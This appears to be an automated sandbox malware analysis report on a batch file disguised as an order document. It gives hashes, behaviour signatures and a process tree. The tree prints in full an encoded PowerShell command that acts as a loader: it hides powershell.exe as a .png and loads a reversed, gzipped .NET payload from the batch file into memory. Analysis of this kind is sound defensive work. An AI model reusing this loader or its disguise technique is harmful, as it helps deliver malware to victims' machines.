Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231020-en -
resource tags
arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system -
submitted
08-12-2023 14:01
Static task
static1
Behavioral task
behavioral1
Sample
ORDER-SUNNY 10005916.bat
Resource
win7-20231020-en
Behavioral task
behavioral2
Sample
ORDER-SUNNY 10005916.bat
Resource
win10v2004-20231130-en
General
-
Target
ORDER-SUNNY 10005916.bat
-
Size
1009KB
-
MD5
27c302e3247d5a9f8fce50cfba636e22
-
SHA1
7939d397dba283814967080fb37913d9076dab49
-
SHA256
1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0
-
SHA512
040e32f01348045b4a9d65666e7bb966150b3ae34e6078b23c0d3c58a8f18e48096091e05ea5bffa09a4f33f93a441e4767a9d9468e8d3f4adbcfc10733b4c70
-
SSDEEP
24576:hHOmVihj9V3HNS0B0dgIx4l0ivt/Ixdt+gnfpV6gXhtnLPv+yqV82DqdFUWvw:h6j3fpI57zPVqmTgj
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
pid Process 2400 Iduou.png -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2400 Iduou.png -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2400 Iduou.png -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2400 Iduou.png -
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 1684 wrote to memory of 2452 1684 cmd.exe 29 PID 1684 wrote to memory of 2452 1684 cmd.exe 29 PID 1684 wrote to memory of 2452 1684 cmd.exe 29 PID 1684 wrote to memory of 2476 1684 cmd.exe 30 PID 1684 wrote to memory of 2476 1684 cmd.exe 30 PID 1684 wrote to memory of 2476 1684 cmd.exe 30 PID 1684 wrote to memory of 2656 1684 cmd.exe 32 PID 1684 wrote to memory of 2656 1684 cmd.exe 32 PID 1684 wrote to memory of 2656 1684 cmd.exe 32 PID 2656 wrote to memory of 2160 2656 cmd.exe 33 PID 2656 wrote to memory of 2160 2656 cmd.exe 33 PID 2656 wrote to memory of 2160 2656 cmd.exe 33 PID 2656 wrote to memory of 2764 2656 cmd.exe 34 PID 2656 wrote to memory of 2764 2656 cmd.exe 34 PID 2656 wrote to memory of 2764 2656 cmd.exe 34 PID 2656 wrote to memory of 2288 2656 cmd.exe 36 PID 2656 wrote to memory of 2288 2656 cmd.exe 36 PID 2656 wrote to memory of 2288 2656 cmd.exe 36 PID 2656 wrote to memory of 2668 2656 cmd.exe 35 PID 2656 wrote to memory of 2668 2656 cmd.exe 35 PID 2656 wrote to memory of 2668 2656 cmd.exe 35 PID 2656 wrote to memory of 2400 2656 cmd.exe 37 PID 2656 wrote to memory of 2400 2656 cmd.exe 37 PID 2656 wrote to memory of 2400 2656 cmd.exe 37 PID 2656 wrote to memory of 2400 2656 cmd.exe 37
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:2452
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png2⤵PID:2476
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2656 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:2160
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png3⤵PID:2764
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat" C:\Users\Admin\AppData\Local\Temp\Iduou.png.bat3⤵PID:2668
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:2288
-
-
C:\Users\Admin\AppData\Local\Temp\Iduou.pngC:\Users\Admin\AppData\Local\Temp\Iduou.png -win 1 -enc JABBAGIAcQB5AGwAYwBiAGYAcgBvACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEcAYwBxAHMAcwBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQQBiAHEAeQBsAGMAYgBmAHIAbwApADsAJABKAHQAdABjAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEcAYwBxAHMAcwBuAGQAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAVQB2AGoAZABtAGcAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAHQAdABjAHAALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAGwAbwBzAGUAKAApADsAJABKAHQAdABjAHAALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABHAGMAcQBzAHMAbgBkACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABWAG0AaABoAHEAZABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABQAHEAawBpAHkAbABpAGMAcgAgAD0AIAAkAFYAbQBoAGgAcQBkAHAALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABQAHUAZABxAHcAbgBzAGUAdAB4AG8AIAA9ACAAJABQAHEAawBpAHkAbABpAGMAcgAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2400
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f
-
Filesize
442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f